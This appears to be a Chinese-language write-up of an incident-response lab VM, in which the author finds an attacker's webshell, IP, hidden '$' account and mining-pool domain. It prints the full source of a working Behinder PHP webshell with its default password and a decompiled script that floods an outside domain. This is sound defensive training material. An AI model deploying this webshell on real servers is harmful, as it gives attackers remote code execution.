0x01 靶机信息
下载方式
阿里云盘:https://www.alipan.com/s/ne3YeyhXGqa
提取码:a7i8
文件大小:4.73GB
靶机启动
解压后使用Vmware启动即可,如启动错误,请升级至Vmware17.5以上
前景背景
小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,这是他的服务器系统,请你找出以下内容,并作为通关条件:
1.攻击者的shell密码
2.攻击者的IP地址
3.攻击者的隐藏账户名称
4.攻击者挖矿程序的矿池域名
靶机账户
用户 --> administrator
密码 --> Zgsf@admin.com
0x02 打靶方式(思路)
组策略编辑器
注册表
Web日志分析
py程序反编译
系统日志分析
账户
0x03 打靶实录(流程)
信息收集
先简单查看一下系统信息
发现桌面有一个解题的脚本,查看一下需要做些什么
攻击者的shell密码
根据题目,我们有两点可以查看的位置
phpstudy搭建网站
IIS搭建网站
先从PHP开始获取信息,右键phpstudy-->打开文件所在位置
网站目录 --> C:\phpstudy_pro\WWW
最简单的方式莫过于利用D盾或者其他安全软件扫描一下web目录
这边使用D盾扫描
发现webshell文件,定位文件位置 --> C:\phpstudy_pro\WWW\content\plugins\tips\shell.php
还原打开
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
获得webshell密码 --> 冰蝎默认密码 --> rebeyond
攻击者的IP地址
如何获取攻击者IP地址?最好的办法当然是利用web日志进行分析,从而得出结论,同样是寻找日志保存界面.
先从最开始的Apache日志开始找起
日志路径保存于 --> C:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1708905600
简单审阅一下日志,一开始是一堆目录扫描行为
我们找一下谁访问了shell.php,即为攻击者上传的webshell
提交192.168.126.1
其实在最近文件就能看到
攻击者的隐藏账户名称
由于攻击者创建账户时使用了$隐藏账户,故名思意,常规手段无法查看用户,我们需要使用以下方式获取账户
net user
利用计算机管理查看隐藏用户
win+r进入运行,输入compmgmt.msc,打开计算机管理
系统工具 --> 本地用户和组 --> 用户
尝试提交hack168$用户
利用注册表查看隐藏用户
win+r打开运行,输入regedit从而打开注册表编辑器
先进入HKEY_LOCAL_MACHINE\SAM\SAM,一开始为空白,需要右键进入权限,将administrator设置为完全控制和读取权限
重新打开注册表,即可查看内容(靶机没有...)
攻击者挖矿程序的矿池域名
由题干可得,攻击者植入了挖矿程序,那我们需要进入攻击者的视角
利用日志分析工具查看攻击者是否存在登录行为
因此可以判定黑客进行了登录操作,查看计算机中存在的用户 --> C:\Users
进入hack168$所在的桌面查看是否存在蛛丝马迹
C:\Users\hack168$\Desktop
有一个叫Kuang,明显为python利用pyinstaller打包得到的程序
利用pyinstxtractor反编译python程序
python pyinstxtractor.py Kuang.exe
生成文件夹中存在Kuang.pyc,利用uncompyle反编译为py文件
uncompyle6 Kuang.pyc > Kuang.py
反编译后py文件如下
# uncompyle6 version 3.9.2
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.10.11 (tags/v3.10.11:7d4cc5a, Apr 5 2023, 00:38:17) [MSC v.1929 64 bit (AMD64)]
# Embedded file name: Kuang.py
import multiprocessing, requests
def cpu_intensive_task():
while True:
try:
requests.get("http://wakuang.zhigongshanfang.top", timeout=10)
except:
pass
if __name__ == "__main__":
cpu_count = multiprocessing.cpu_count()
processes = [multiprocessing.Process(target=cpu_intensive_task) for _ in range(cpu_count)]
for process in processes:
process.start()
else:
for process in processes:
process.join()
# okay decompiling Kuang.pyc
代码中简单实现了挖矿程序逻辑,可以明显看到矿池为 --> http://wakuang.zhigongshanfang.top
输入答案为 --> wakuang.zhigongshanfang.top
0x05 打靶总结
总体而言是一个比较基础的靶机,可惜没找到注册表中存在的账户名称存放位置,不然更能巩固应急响应基础,若有操作失误处或者存在更优秀的方式欢迎大家交流斧正
评论区